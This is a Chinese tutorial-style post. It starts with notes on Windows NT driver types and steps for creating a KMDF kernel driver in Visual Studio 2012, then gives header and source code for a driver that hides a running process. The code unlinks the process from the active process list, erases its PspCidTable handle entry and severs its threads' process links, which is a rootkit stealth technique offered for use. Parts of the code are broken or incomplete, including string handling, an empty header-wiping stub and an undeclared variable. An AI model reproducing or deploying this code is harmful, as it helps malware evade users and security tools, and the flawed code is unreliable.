在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:
1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
2.“GDI Driver”,提供显示和打印所需的GDI函数。
3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。
Visual studio2012与Windows8带来格外不同的新体验
1.启动Vs2012
2.看见满目的驱动开发模板
3.选择一个驱动模式,有内核模式与用户模式两种的驱动
4.创建一个驱动程序,KMDF DriverMVP
5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包
6.按下F5,选择驱动编译,
插入下列代码实现内核隐藏进程
头文件
#ifndef DBGHELP_H #define DBGHELP_H 1 #include <ntifs.h> /************************************************************************/ /* 重量级结构的申明 */ /************************************************************************/ typedef struct _HANDLE_TABLE { ULONG Flags; LONG HandleCount; PHANDLE_TABLE_ENTRY **Table; struct _EPROCESS *QuotaProcess; HANDLE UniqueProcessId; LONG FirstFreeTableEntry; LONG NextIndexNeedingPool; ERESOURCE HandleTableLock; LIST_ENTRY HandleTableList; KEVENT HandleContentionEvent; } HANDLE_TABLE, *PHANDLE_TABLE; typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)( IN PHANDLE_TABLE_ENTRY HandleTableEntry, IN HANDLE Handle, IN PVOID EnumParameter ); typedef BOOLEAN(*__ExEnumHandleTable)( IN PHANDLE_TABLE HandleTable, IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure, IN PVOID EnumParameter, OUT PHANDLE Handle OPTIONAL ); typedef BOOLEAN (*EXENUMHANDLETABLE)( IN PHANDLE_TABLE HandleTable, IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure, IN PVOID EnumParameter, OUT PHANDLE Handle OPTIONAL ); /************************************************************************/ /* 申明一些全局变量 */ /************************************************************************/ ULONG g_Offset_Eprocess_Name=0; ULONG g_Offset_Eprocess_Flink = 0; ULONG g_Offset_Eprocess_ProcessId = 0; ULONG g_Offset_Eprocess_HandleTable = 0; __ExEnumHandleTable ExEnumHandleTable ; PEPROCESS g_pEprocess_System = 0; ULONG trytimes=0; ULONG error=0; /************************************************************************/ /* 申明一些函数 */ /************************************************************************/ BOOLEAN EnumHandleCallback(PHANDLE_TABLE_ENTRY HandleTableEntry,IN HANDLE Handle,PVOID EnumParameter ); NTSTATUS EraseObjectFromHandleTable( PHANDLE_TABLE pHandleTable, IN ULONG ProcessId ); VOID RemoveNodeFromActiveProcessLinks( IN ULONG ProcessId ); VOID HideProcessById( IN ULONG ProcessId ); NTSTATUS LookupProcessByName( OUT PEPROCESS pEprocess ); NTSTATUS InitializeCommonVariables( ); NTSTATUS GetProcessNameOffset( OUT PULONG Offset OPTIONAL ); BOOLEAN IsValidModule(ULONG i); void Search(); ULONG GetAddrFromProcessId(); VOID ClearMZMask(); #endif
源文件
VOID BreakThreadByProcess(ULONG Pid) { /*++ Routine Description: 将所有线程ETHREAD结构的ThreadsProcess抹掉 Return Value: VOID --*/ PEPROCESS eProcess; PETHREAD eThread; PLIST_ENTRY pList; PsLookupProcessByProcessId(Pid,&eProcess); pList = eProcess->Pcb.ThreadListHead.Blink; while (pList != eProcess->Pcb.ThreadListHead.Flink) { eThread = (PETHREAD)(CONTAINING_RECORD(pList,KTHREAD,ThreadListEntry)); eThread->ThreadsProcess = 0; pList = pList->Blink; } } VOID ClearMZMask() { /*++ Routine Description: 擦除PE文件MZ,PE标志 Return Value: VOID --*/ PVOID addr; ULONG pid; PEPROCESS eProcess; KAPC_STATE apcstatus; pid = ProtectPid; PsLookupProcessByProcessId(pid,&eProcess); KeStackAttachProcess(eProcess,&apcstatus); KeUnstackDetachProcess(&apcstatus); } ULONG GetAddrFromProcessId() { /*++ Routine Description: 搜索PsLookupProcessByProcessId函数得到PspCidTable的地址 ppPspCidTable:返回PspCidTable表地址 Return Value: VOID --*/ UNICODE_STRING pslookup; PUCHAR addr; PUCHAR p; ULONG q; RtlInitUnicodeString(&pslookup,L"PsLookupProcessByProcessId"); addr=(PUCHAR)MmGetSystemRoutineAddress(&pslookup); for(p=addr;p<addr+PAGE_SIZE;p++) { if((*(PUSHORT)p==0x35ff)&&(*(p+6)==0xe8)) { q=*(PULONG)(p+2); return q; break; } } return 0; } BOOLEAN EnumHandleCallback( IN PHANDLE_TABLE_ENTRY HandleTableEntry, IN HANDLE Handle, IN OUT PVOID EnumParameter ) { if(ARGUMENT_PRESENT(EnumParameter)&&*(HANDLE*)EnumParameter==Handle) { *(PHANDLE_TABLE_ENTRY*)EnumParameter=HandleTableEntry ; return TRUE ; } return FALSE ; } // 修改一下,可以传递要擦除的ID做参数 NTSTATUS EraseObjectFromHandleTable( PHANDLE_TABLE pHandleTable, IN ULONG ProcessId ) { /*++ Routine Description: 擦出PspCidTable结构中的句柄 pHandleTable:指向句柄表指针 ProcessId:进程的PID Return Value: VOID --*/ NTSTATUS status ; PVOID EnumParameter ; UNICODE_STRING uniExEnumHandleTable ; __ExEnumHandleTable ExEnumHandleTable ; status=STATUS_NOT_FOUND ; EnumParameter=ProcessId ; RtlInitUnicodeString(&uniExEnumHandleTable,L"ExEnumHandleTable"); ExEnumHandleTable=MmGetSystemRoutineAddress(&uniExEnumHandleTable); if(NULL==ExEnumHandleTable) { return STATUS_NOT_FOUND ; } // Enum后可以擦除,Callback过程中不能擦除 if(ExEnumHandleTable(pHandleTable,EnumHandleCallback,&EnumParameter,NULL)) { InterlockedExchangePointer(&((PHANDLE_TABLE_ENTRY)EnumParameter)->Object,NULL); status=STATUS_SUCCESS ; } return status ; } VOID RemoveNodeFromActiveProcessLinks( IN ULONG ProcessId ) { /*++ Routine Description: 移除进程EPROCESS结构中的ActiveProces中自己的链表 ProcessId:进程的PID Return Value: VOID --*/ NTSTATUS status; LIST_ENTRY *pListEntry; PEPROCESS pEprocess; status = PsLookupProcessByProcessId(ProcessId,&pEprocess); if (!NT_SUCCESS(status)) { DbgPrint("PsLookupProcessByProcessId Error!\n"); return ; } // ObDereferenceObject(pEprocess); pListEntry = (LIST_ENTRY *)((ULONG)pEprocess + 0x88); pListEntry->Flink->Blink = pListEntry->Blink; pListEntry->Blink->Flink = pListEntry->Flink; } VOID HideProcessById( IN ULONG ProcessId ) { NTSTATUS status ; HANDLE_TABLE *pPspCidTable ; PEPROCESS pCsrssEprocess=NULL ; status=InitializeCommonVariables(); pPspCidTable = (HANDLE_TABLE *)GetAddrFromProcessId(); status=LookupProcessByName(pCsrssEprocess); // 先从活动进程链表中摘除 RemoveNodeFromActiveProcessLinks(ProcessId); // 擦除PspCidTable中对应的Object EraseObjectFromHandleTable(pPspCidTable,ProcessId); // 擦除Csrss进程中那份表,无数次蓝屏,所以坚决放弃 // EraseObjectFromHandleTable(*(PULONG)((ULONG)pCsrssEprocess+0x0c4),ProcessId); return ; } NTSTATUS LookupProcessByName( OUT PEPROCESS pEprocess ) { PEPROCESS esProcess; LIST_ENTRY *listen; esProcess = PsGetCurrentProcess(); while (1) { listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88))->Blink; esProcess= (EPROCESS *)((ULONG)listen - 0x88); DbgPrint("Process is %s\n",(WCHAR *)((ULONG)esProcess + 0x174)); if (!strncmp((WCHAR *)((ULONG)esProcess + 0x174),"csrss.exe",strlen("csrss.exe"))) { DbgPrint("Process Name is %s\n",(WCHAR *)((ULONG)esProcess + 0x174)); pEprocess = esProcess; DbgPrint("CSRSSS EPROCESS IS 0x%x\n",(ULONG)esProcess); return STATUS_SUCCESS; break; } listen = ((LIST_ENTRY *)((ULONG)esProcess + 0x88)); } } NTSTATUS GetProcessNameOffset( OUT PULONG Offset OPTIONAL ) { NTSTATUS status ; PEPROCESS curproc ; ULONG i ; if(!MmIsAddressValid((PVOID)Offset)) { status=STATUS_INVALID_PARAMETER ; return status ; } curproc=PsGetCurrentProcess(); // // 然后搜索KPEB,得到ProcessName相对KPEB的偏移量 // 偏移174h的位置,这里存的是进程的短文件名,少数地方用, // 比如SoftIce的addr和proc命令,如果名称超过16个字符直接截断 // Scan for 12KB, hopping the KPEB never grows that big! // for(i=0;i<3*PAGE_SIZE;i++) { if(!strncmp("System",(PCHAR)curproc+i,strlen("System"))) { *Offset=i ; status=STATUS_SUCCESS ; break ; } } return status ; } NTSTATUS InitializeCommonVariables( ) { NTSTATUS status ; ULONG uMajorVersion ; ULONG uMinorVersion ; status=GetProcessNameOffset(&g_Offset_Eprocess_Name); if(!NT_SUCCESS(status)) { return status ; } g_pEprocess_System=PsGetCurrentProcess(); PsGetVersion(&uMajorVersion,&uMinorVersion,NULL,NULL); if(uMajorVersion==4&&uMinorVersion==0) { g_Offset_Eprocess_Flink=152 ; // Stop supporting NT 4.0 return STATUS_UNSUCCESSFUL ; } else if(uMajorVersion==5&&uMinorVersion==0) { g_Offset_Eprocess_ProcessId=156 ; g_Offset_Eprocess_Flink=160 ; g_Offset_Eprocess_HandleTable=0x128 ; } else if(uMajorVersion==5&&uMinorVersion==1) { g_Offset_Eprocess_ProcessId=132 ; g_Offset_Eprocess_Flink=136 ; g_Offset_Eprocess_HandleTable=0xC4 ; } else if(uMajorVersion==5&&uMinorVersion==2) { g_Offset_Eprocess_ProcessId=132 ; g_Offset_Eprocess_Flink=136 ; g_Offset_Eprocess_HandleTable=0xC4 ; } return STATUS_SUCCESS ; } /*++ Routine Description: 得到各个变量的偏移 Return Value: VOID --*/